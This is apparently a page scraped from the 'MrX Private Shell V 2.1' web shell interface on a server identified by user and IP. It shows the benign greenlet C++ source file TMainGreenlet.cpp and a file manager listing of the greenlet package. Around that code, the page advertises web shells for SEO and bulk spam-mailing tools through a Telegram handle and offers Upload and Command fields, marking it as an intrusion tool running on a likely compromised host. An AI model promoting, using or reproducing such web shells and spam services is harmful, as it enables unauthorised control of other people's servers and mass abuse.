__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.189: ~ $
/* -*- indent-tabs-mode: nil; tab-width: 4; -*- */
/**
 * Implementation of greenlet::MainGreenlet.
 *
 * Format with:
 *  clang-format -i --style=file src/greenlet/greenlet.c
 *
 *
 * Fix missing braces with:
 *   clang-tidy src/greenlet/greenlet.c -fix -checks="readability-braces-around-statements"
*/
#ifndef T_MAIN_GREENLET_CPP
#define T_MAIN_GREENLET_CPP

#include "TGreenlet.hpp"

#ifdef Py_GIL_DISABLED
#include <atomic>
#endif

// Incremented when we create a main greenlet, in a new thread, decremented
// when it is destroyed.
#ifdef Py_GIL_DISABLED
static std::atomic<Py_ssize_t> G_TOTAL_MAIN_GREENLETS(0);
#else
// Protected by the GIL.
static Py_ssize_t G_TOTAL_MAIN_GREENLETS;
#endif

namespace greenlet {
greenlet::PythonAllocator<MainGreenlet> MainGreenlet::allocator;

void* MainGreenlet::operator new(size_t UNUSED(count))
{
    return allocator.allocate(1);
}


void MainGreenlet::operator delete(void* ptr)
{
    return allocator.deallocate(static_cast<MainGreenlet*>(ptr),
                                1);
}


MainGreenlet::MainGreenlet(PyGreenlet* p, ThreadState* state)
    : Greenlet(p, StackState::make_main()),
      _self(p),
      _thread_state(state)
{
    G_TOTAL_MAIN_GREENLETS++;
}

MainGreenlet::~MainGreenlet()
{
    G_TOTAL_MAIN_GREENLETS--;
    this->tp_clear();
}

ThreadState*
MainGreenlet::thread_state() const noexcept
{
    return this->_thread_state;
}

void
MainGreenlet::thread_state(ThreadState* t) noexcept
{
    // this method is only used during thread tear down, when it is
    // called with nullptr, signalling the thread is dead.
    assert(!t);
    this->_thread_state = t;
}


const BorrowedMainGreenlet
MainGreenlet::main_greenlet() const
{
    return this->_self;
}

BorrowedMainGreenlet
MainGreenlet::find_main_greenlet_in_lineage() const
{
    return BorrowedMainGreenlet(this->_self);
}

bool
MainGreenlet::was_running_in_dead_thread() const noexcept
{
    return !this->_thread_state;
}

OwnedObject
MainGreenlet::g_switch()
{
    try {
        this->check_switch_allowed();
    }
    catch (const PyErrOccurred&) {
        this->release_args();
        throw;
    }

    switchstack_result_t err = this->g_switchstack();
    if (err.status < 0) {
        // XXX: This code path is untested, but it is shared
        // with the UserGreenlet path that is tested.
        return this->on_switchstack_or_initialstub_failure(
            this,
            err,
            true, // target was me
            false // was initial stub
        );
    }

    return err.the_new_current_greenlet->g_switch_finish(err);
}

int
MainGreenlet::tp_traverse(visitproc visit, void* arg)
{
    ThreadState* thread_state = this->_thread_state.load();
    if (thread_state) {
        // we've already traversed main, (self), don't do it again.
        int result = thread_state->tp_traverse(visit, arg, false);
        if (result) {
            return result;
        }
    }
    return Greenlet::tp_traverse(visit, arg);
}

const OwnedObject&
MainGreenlet::run() const
{
    throw AttributeError("Main greenlets do not have a run attribute.");
}

void
MainGreenlet::run(const BorrowedObject UNUSED(nrun))
{
   throw AttributeError("Main greenlets do not have a run attribute.");
}

void
MainGreenlet::parent(const BorrowedObject raw_new_parent)
{
    if (!raw_new_parent) {
        throw AttributeError("can't delete attribute");
    }
    throw AttributeError("cannot set the parent of a main greenlet");
}

const OwnedGreenlet
MainGreenlet::parent() const
{
    return OwnedGreenlet(); // null becomes None
}

}; // namespace greenlet

#endif

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
platform Folder 0755
tests Folder 0755
CObjects.cpp File 3.57 KB 0644
PyGreenlet.cpp File 27.52 KB 0644
PyGreenlet.hpp File 1.43 KB 0644
PyGreenletUnswitchable.cpp File 4.06 KB 0644
PyModule.cpp File 8.59 KB 0644
TBrokenGreenlet.cpp File 1021 B 0644
TExceptionState.cpp File 1.33 KB 0644
TGreenlet.cpp File 25.62 KB 0644
TGreenlet.hpp File 28.58 KB 0644
TGreenletGlobals.cpp File 3.84 KB 0644
TMainGreenlet.cpp File 3.51 KB 0644
TPythonState.cpp File 19.15 KB 0644
TStackState.cpp File 7.21 KB 0644
TThreadState.hpp File 23.34 KB 0644
TThreadStateCreator.hpp File 2.7 KB 0644
TThreadStateDestroy.cpp File 7.99 KB 0644
TUserGreenlet.cpp File 23.76 KB 0644
__init__.py File 1.41 KB 0644
_greenlet.cpython-312-x86_64-linux-gnu.so File 1.32 MB 0755
greenlet.cpp File 10.83 KB 0644
greenlet.h File 4.64 KB 0644
greenlet_allocator.hpp File 1.79 KB 0644
greenlet_compiler_compat.hpp File 4.24 KB 0644
greenlet_cpython_compat.hpp File 3.25 KB 0644
greenlet_exceptions.hpp File 4.4 KB 0644
greenlet_internal.hpp File 2.7 KB 0644
greenlet_msvc_compat.hpp File 3.12 KB 0644
greenlet_refs.hpp File 37.17 KB 0644
greenlet_slp_switch.hpp File 3.22 KB 0644
greenlet_thread_support.hpp File 867 B 0644
slp_platformselect.h File 3.87 KB 0644